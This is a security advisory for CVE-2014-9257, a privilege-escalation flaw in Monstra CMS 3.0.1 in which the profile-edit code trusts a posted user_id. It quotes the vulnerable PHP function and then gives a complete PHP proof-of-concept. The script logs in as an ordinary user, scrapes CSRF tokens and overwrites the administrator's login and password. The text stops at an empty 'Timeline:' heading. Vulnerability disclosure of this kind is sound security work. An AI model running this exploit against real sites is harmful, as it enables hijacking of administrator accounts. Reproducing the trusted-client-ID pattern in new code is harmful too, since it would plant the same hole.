Monstra 3.0.1 Privilege Escalation

Homepage:

http://monstra.org/

CVE-ID

CVE-2014-9257

CVSS Score

4

CVSS Vector

(AV:N/AC:L/Au:S/C:P/I:N/A:N)

Description:

As you can see in timeline I discover this issue in 2014.

Last time when I contact with developers, they told me that “they will recheck this issue”.

But in the meantime sarimkiani find it too and publish details on GitHub.

You can find my orginal post here. You can check time signature for it using this file.

Every registered user can change every account because Request::post('user_id') is used instead of $id inside update statement.

File: plugins\box\users\users.plugin.php

public static function getProfileEdit($id)
{
    // Is Current User Loged in ?
    if (Users::isLoged()) {

        $user = Users::$users->select("[id='".(int) $id."']", null);

        // Edit Profile Submit
        if (Request::post('edit_profile')) {

            // Check csrf
            if (Security::check(Request::post('csrf'))) {

                if (Security::safeName(Request::post('login')) != '') {
                    if (Users::$users->update(Request::post('user_id'),
                                                            array('login' => Security::safeName(Request::post('login')),
                                                                  'firstname' => Request::post('firstname'),
                                                                  'lastname'  => Request::post('lastname'),
                                                                  'email'     => Request::post('email'),
                                                                  'skype'     => Request::post('skype'),
                                                                  'about_me'  => Request::post('about_me'),
                                                                  'twitter'   => Request::post('twitter')))) {

                        // Change password
                        if (trim(Request::post('new_password')) != '') {
                            Users::$users->update(Request::post('user_id'), array('password' => Security::encryptPassword(trim(Request::post('new_password')))));
                        }

                        Notification::set('success', __('Your changes have been saved.', 'users'));
                        Request::redirect(Site::url().'/users/'.$user['id']);
                    }
                } else { }

            } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }

        }

        View::factory('box/users/views/frontend/edit')
            ->assign('user', $user)
            ->display();

    } else {
        Request::redirect(Site::url().'/users/login');
    }
}

So if we know current admin id we can takeover this account.

Proof of Concept:

<?php
/**
 * Monstra 3.0.1 Privilege Escalation
 * Kacper Szurek
 * http://security.szurek.pl
 */
function hack($login, $pass, $url, $current_admin_id, $new_admin_login, $new_admin_password, $cookie ){

    $ckfile = dirname(__FILE__) . $cookie;
    $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url.'users/login');
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec($ch);

    preg_match('/name="csrf" value="([^"]+)"/i', $content, $matches);

    if (strlen($matches[1]) > 3) {
        curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$login."&password=".$pass."&csrf=".$matches[1].'&login_submit=Log In');
        curl_setopt($ch, CURLOPT_POST, 1);
        $content = curl_exec($ch);

        preg_match('|"([^"]+)">Edit profile<|i', $content, $matches2);

        if (strlen($matches2[1]) > 3) {
            curl_setopt($ch, CURLOPT_URL, $matches2[1]);
            $content = curl_exec($ch);

            preg_match('/name="csrf" value="([^"]+)"/i', $content, $matches3);

            if (strlen($matches3[1]) > 3) {
                $fields = array(
                    'csrf' => $matches3[1],
                    'edit_profile' => '1',
                    'login' => $new_admin_login,
                    'new_password' => $new_admin_password,
                    'user_id' => $current_admin_id
                );
                $fields_string = http_build_query($fields);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
                curl_setopt($ch, CURLOPT_POST, 1);
                $content = curl_exec($ch);

                echo $content;
		    } else {
		        die("Cannot get CSRF");
		    }
        } else {
            die("Cannot get edit url");
        }
    } else {
        die("Cannot get CSRF");
    }

    curl_close( $ch );
}

$url = "http://monstra-url/";

// Standard user credentials (created using users/registration)
$user = "normaluser";
$pass = "normalpassword";

$current_admin_id = '1';
$new_admin_login = "newadminlogin";
$new_admin_password = "newadminpassword";

$cookie = "/cookie.txt";
hack($user, $pass, $url, $current_admin_id, $new_admin_login, $new_admin_password, $cookie);

Timeline: